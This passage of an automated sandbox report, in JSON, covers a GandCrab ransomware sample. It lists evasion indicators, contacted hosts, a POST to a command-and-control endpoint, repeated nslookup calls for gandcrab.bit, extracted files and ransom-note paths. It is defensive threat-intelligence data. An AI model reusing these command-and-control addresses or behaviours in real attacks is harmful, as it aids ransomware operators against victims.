address"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"},{"detail":"Reads system information using Windows Management Instrumentation Commandline (WMIC)"}],"sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Possibly checks for the presence of an Antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"Adware","details_count":1,"details":[{"detail":"Possibly checks for the presence of an adware detecting tool"}],"sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Tries to access unusual system drive letters"}],"sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]}]},"activity":{"stats":{"process_count":13,"spawned_processes_count":13,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":36,"imported_dlls_count":91,"dropped_files_count":0,"extracted_files_count":36,"files_written_count":78,"files_deleted_count":0,"registry_keys_created_count":14,"registry_keys_modified_count":0,"registry_keys_deleted_count":3,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":17,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":4,"dns_resolutions_count":3,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["Gandcrab","ransomware"],"sample_flags":["Network Traffic","Extracted Files","User Comment","Sample not shared"],"sandbox_reports":[{"id":"5a7ad9c37ca3e12a574297a6","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Jorik","contacted_countries":["CHN","EU","USA"],"submit_name":"03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28.exe","analysis_start_time":"2018-02-08T04:47:24+00:00","indicators_count":{"informative":20,"suspicious":30,"malicious":13},"tags":["Network Traffic","Extracted Files","Sample not shared","User Comment"],"is_in_unified_schema":true},{"id":"5a6b31c87ca3e14448712f24","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["CHN","RUS","USA"],"submit_name":"03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28.bin","analysis_start_time":"2018-01-26T14:48:39+00:00","indicators_count":{"informative":18,"suspicious":30,"malicious":14},"tags":["Network Traffic","Extracted Files","Sample not shared","User Comment"],"is_in_unified_schema":true},{"id":"5a6b090b7ca3e1485d08bbb3","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["CHN","RUS","USA"],"submit_name":"2018-01-26_19-47-00.exe","analysis_start_time":"2018-01-26T12:05:35+00:00","indicators_count":{"informative":20,"suspicious":34,"malicious":11},"tags":["Network Traffic","Extracted Files","User Comment"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"66.171.248.178","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"address":"112.90.141.215","port":53,"protocol":"UDP","country":"China","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"address":"78.155.206.6","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"address":"95.100.252.19","port":80,"protocol":"TCP","country":"European Union","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]}],"dns_resolutions":[{"domain":"a.dnspod.com","address":"112.90.141.215","country":"China","registrar_name":"DNSPod, Inc.","registrar_organization":"DNSPod","registrar_name_servers":"A.DNSPOD.COM","registrar_creation_date":"2006-03-09T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"domain":"ipv4bot.whatismyipaddress.com","address":"66.171.248.178","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"domain":"gandcrab.bit","country":"-","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]}],"http_requests":[{"host":"ipv4bot.whatismyipaddress.com","host_ip":"66.171.248.178:80","url":"/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET / HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\nHost: ipv4bot.whatismyipaddress.com\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"host":"78.155.206.6","host_ip":"78.155.206.6:80","url":"/curl.php?token=1019","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /curl.php?token=1019 HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\nHost: 78.155.206.6\nContent-Length: 5893\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}],"processes":[{"pid":1152,"ppid":0,"name":"03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28.exe","command_line":"","sha256":"03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28","normalized_path":"C:\\03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28.exe","uid":"00012680-00001152","icon":"$2d"},{"pid":2796,"ppid":1152,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"4a35c36f3f41f977fe1f0174d43c8cb9bd25a823b5f2a1970e501d839e1f8276","normalized_path":"%WINDIR%\\System32\\nslookup.exe","parent_uid":"00012680-00001152","uid":"00013940-00002796"},{"pid":2720,"ppid":1152,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"4a35c36f3f41f977fe1f0174d43c8cb9bd25a823b5f2a1970e501d839e1f8276","normalized_path":"%WINDIR%\\System32\\nslookup.exe","parent_uid":"00012680-00001152","uid":"00015251-00002720"},{"pid":2020,"ppid":1152,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"4a35c36f3f41f977fe1f0174d43c8cb9bd25a823b5f2a1970e501d839e1f8276","normalized_path":"%WINDIR%\\System32\\nslookup.exe","parent_uid":"00012680-00001152","uid":"00016538-00002020"},{"pid":1792,"ppid":1152,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"4a35c36f3f41f977fe1f0174d43c8cb9bd25a823b5f2a1970e501d839e1f8276","normalized_path":"%WINDIR%\\System32\\nslookup.exe","parent_uid":"00012680-00001152","uid":"00017825-00001792"},{"pid":1676,"ppid":1152,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"4a35c36f3f41f977fe1f0174d43c8cb9bd25a823b5f2a1970e501d839e1f8276","normalized_path":"%WINDIR%\\System32\\nslookup.exe","parent_uid":"00012680-00001152","uid":"00019111-00001676"},{"pid":3844,"ppid":1152,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"4a35c36f3f41f977fe1f0174d43c8cb9bd25a823b5f2a1970e501d839e1f8276","normalized_path":"%WINDIR%\\System32\\nslookup.exe","parent_uid":"00012680-00001152","uid":"00020396-00003844"},{"pid":3524,"ppid":1152,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"4a35c36f3f41f977fe1f0174d43c8cb9bd25a823b5f2a1970e501d839e1f8276","normalized_path":"%WINDIR%\\System32\\nslookup.exe","parent_uid":"00012680-00001152","uid":"00021683-00003524"},{"pid":3660,"ppid":1152,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"4a35c36f3f41f977fe1f0174d43c8cb9bd25a823b5f2a1970e501d839e1f8276","normalized_path":"%WINDIR%\\System32\\nslookup.exe","parent_uid":"00012680-00001152","uid":"00022971-00003660"},{"pid":1548,"ppid":1152,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"4a35c36f3f41f977fe1f0174d43c8cb9bd25a823b5f2a1970e501d839e1f8276","normalized_path":"%WINDIR%\\System32\\nslookup.exe","parent_uid":"00012680-00001152","uid":"00024259-00001548"},{"pid":3256,"ppid":1152,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"4a35c36f3f41f977fe1f0174d43c8cb9bd25a823b5f2a1970e501d839e1f8276","normalized_path":"%WINDIR%\\System32\\nslookup.exe","parent_uid":"00012680-00001152","uid":"00025546-00003256"},{"pid":3624,"ppid":1152,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"4a35c36f3f41f977fe1f0174d43c8cb9bd25a823b5f2a1970e501d839e1f8276","normalized_path":"%WINDIR%\\System32\\nslookup.exe","parent_uid":"00012680-00001152","uid":"00026833-00003624"},{"pid":1260,"ppid":1152,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"4a35c36f3f41f977fe1f0174d43c8cb9bd25a823b5f2a1970e501d839e1f8276","normalized_path":"%WINDIR%\\System32\\nslookup.exe","parent_uid":"00012680-00001152","uid":"00028120-00001260"}],"all_imported_dlls":["user32.dll","advapi32.dll","rsaenh.dll","sspicli.dll","winrnr.dll","rasapi32.dll","pnrpnsp.dll","oleaccrc.dll","WSHTCPIP.DLL","usp10.dll","shlwapi.dll","ole32.dll","msvcr100.dll","ntmarta.dll","IPHLPAPI.DLL","winnsi.dll","imm32.dll","normaliz.dll","RpcRtRemote.dll","ieframe.dll","oleacc.dll","wsock32.dll","rpcrt4.dll","msimg32.dll","rtutils.dll","kernel32.dll","comctl32.dll","NapiNSP.dll","ws2_32.dll","rasadhlp.dll","FWPUCLNT.DLL","devobj.dll","Wldap32.dll","mswsock.dll","KernelBase.dll","msvcrt.dll","userenv.dll","msxml3.dll","msxml3r.dll","cryptbase.dll","gdi32.dll","lpk.dll","sechost.dll","msctf.dll","crypt32.dll","iertutil.dll","clbcatq.dll","oleaut32.dll","dwmapi.dll","rpcss.dll","SensApi.dll","npmproxy.dll","dhcpcsvc.dll","wship6.dll","shell32.dll","msasn1.dll","nlaapi.dll","apphelp.dll","wininet.dll","profapi.dll","nsi.dll","netprofm.dll","dhcpcsvc6.dll","propsys.dll","ntdll.dll","uxtheme.dll","cryptsp.dll","dnsapi.dll","rasman.dll","version.dll","setupapi.dll","cfgmgr32.dll","urlmon.dll","psapi.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","bcryptprimitives.dll","bcrypt.dll","secur32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","api-ms-win-downlevel-version-l1-1-0.dll","api-ms-win-downlevel-user32-l1-1-0.dll","webio.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","winhttp.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","wshqos.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","wow64.dll","wow64win.dll","wow64cpu.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"GDCB-DECRYPT.txt","sha256":"71055671aad6bbff548f0575094f8e1b46cbaaa4f699687216173398bcaaeea2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"094ad221c6fdd7f9ea9ecf678e476ac7_e47c61d2-1dae-480e-827a-ae8d797649df","sha256":"36b4eae9253a2aa11f97805f9c78c7bb27c66342d6dc4ec48e3f8c3a2d1d30eb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"index.dat","sha256":"572bbfc9203de49d3e9203d21e82b8f2a74cc0b6b7bcb593ce553e1f8da95aa1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"rRgk91Ih5n.doc","sha256":"9e772da89507a80756be0b925c78bd5b96c8c8212a5c181701697ac142de3dcb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"dH1rDN9f9.doc","sha256":"3db1c2d132456558b996542aee192014f9ee9e907742b0c8d488dc5aecf5895b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"6SZfLTu9z.doc","sha256":"5161dad61c55f4866a1d8e4a817eb98a36a4328c3ac3df56681a014c6edc6e69","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"StructuredQuerySchema.bin","sha256":"8ba648a503d7b5dcf3b624699447c8e7b44c84d17a57edf6e0e73532599115d0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"lCEf83Wf7e4nuIMk.doc","sha256":"e1d8fbacf97013e63cc298540abf18b4e80441bed2e709877e02e4f0e37d1fe1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"bg3oTe.doc","sha256":"2cf4a59f2386fc583468ea48d058bf841c6b5cbba93c3e199b73df4f35dcf33e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"0zIG0D.doc","sha256":"613b603df8bdf699a67696989dd53f6d97cde4fdc2a16ea2895d2f2f30962f9c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"mtgFs8Za.doc","sha256":"d13b3a47ef49f8f41dcd6bb5d5449e70f2899b6c8a2d1b28fd29e68d637d4ddb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"F3hzum1.doc","sha256":"37d115d04534e2ea3f0df5a85b245a130b6fd53b72f490c2f1e4098af4b7c69b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"Tmg2wsFHYf9ioO.doc","sha256":"9db0d842c27fb0f5d2930b0f46ff8fdf654c82ae0ede69066a12b65304456739","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"hKY8.doc","sha256":"0489e460c9238f59132c36a998f0c3c168810e511eebd6d05a98c86556b075b1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"5F1yaAIKfUGQcmmt.doc","sha256":"e8dbce3aac44cc820cdde0b39bcbc5bf007059793466a581a0e893402d6b4315","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"EKeaJO.doc","sha256":"333b72476acbb97837bfd55070658e531a8900968503c807e134f3c98e151489","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"www.ebay[1].xml","sha256":"826b556922b6270f6535756cdebed83fad9e65dfe16e44a84efc17f1ebccbbbc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"pspubws@shopping.udn[1].txt","sha256":"241deb296a8cd9aec874942b2459a6038b5a1c78593078b1a7a1eb798f948213","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"HokZm0_2HRA[1].htm","sha256":"f26e5bf821173319df00923b5caca3dd1d351e6e35759246b4d54b732c2b403f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"iframe[3].htm","sha256":"49df47803381ee5774d762530dbaecf3ae942882def66f54eec86d3172099bac","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"NormalOld.dotm","sha256":"b234d92fd86347be4f71e0846b366d4e62e9b99bd2ebd472db1fc0b74d0b9c40","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"TM01840907[[fn=Equations]].dotx","sha256":"9ac1b9563560d1aafe323e3bf27471a65b22e6bdd06ffc9edc00dec881f3efe5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"Normal.dotm","sha256":"2fd687ea6e75986d7d5351b1bd10044e8b0f0aa6bee3822f5385f30095ac2cca","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"Building Blocks.dotx","sha256":"cb39e00edb999d68905639b7b93b4bfacdb2bf138e9b26353f34ea526c88bd13","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"Built-In Building Blocks.dotx","sha256":"8eb821f85e6c85d69a0e47c142c006039d53f4765f81b058c04101767bc6f5be","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"eqbnjv.exe","sha256":"03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"name":"6f75b29c07ccbc2e6262b7083166375f_733c94c5-cebb-4f98-a75f-22a797d1d50b","sha256":"6b13d23bda5e5939f06419f457d5dcf24a4f1a05e979f2dae2c583c5e5593ee1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"name":"BV9DMYQM.htm","sha256":"2ab57ff92555d494db20c903e7808c743000040c0ef74f18a10f1f544d2379f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"name":"pufslz.exe","sha256":"03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"0e71a7e33d70ce5f3cd7396f613e634c_6b06490d-f9fd-424c-8b6d-83edc4369e89","sha256":"1ac4cfbcde79f31cd8950c546c8e79d354729f133f3da1a20b4c464ec63d9f81","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"98YAH2K5.htm","sha256":"2ab57ff92555d494db20c903e7808c743000040c0ef74f18a10f1f544d2379f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"C9WPR19I.htm","sha256":"2ab57ff92555d494db20c903e7808c743000040c0ef74f18a10f1f544d2379f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"FLHZ0AYN.htm","sha256":"2ab57ff92555d494db20c903e7808c743000040c0ef74f18a10f1f544d2379f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"V0D76SM6.htm","sha256":"2ab57ff92555d494db20c903e7808c743000040c0ef74f18a10f1f544d2379f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"UKY40C45.htm","sha256":"2ab57ff92555d494db20c903e7808c743000040c0ef74f18a10f1f544d2379f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"FU34MDUH.htm","sha256":"2ab57ff92555d494db20c903e7808c743000040c0ef74f18a10f1f544d2379f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]}],"files_written":[{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"path":"C:\\03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28.exe","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%APPDATA%\\Microsoft\\lfbnkk.exe","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%APPDATA%\\Microsoft\\Crypto","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-4162757579-3804539371-4239455898-1000\\094ad221c6fdd7f9ea9ecf678e476ac7_e47c61d2-1dae-480e-827a-ae8d797649df","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%WINDIR%\\System32\\en-US\\crypt32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%WINDIR%\\System32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%WINDIR%\\System32\\nslookup.exe","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"path":"%WINDIR%\\System32\\en-US\\nslookup.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"C:\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"C:\\$Recycle.Bin\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"C:\\$Recycle.Bin\\S-1-5-21-4162757579-3804539371-4239455898-1000\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"C:\\yiP3qlX7\\GDCB-DECRYPT.txt","sources":[{"report_type":"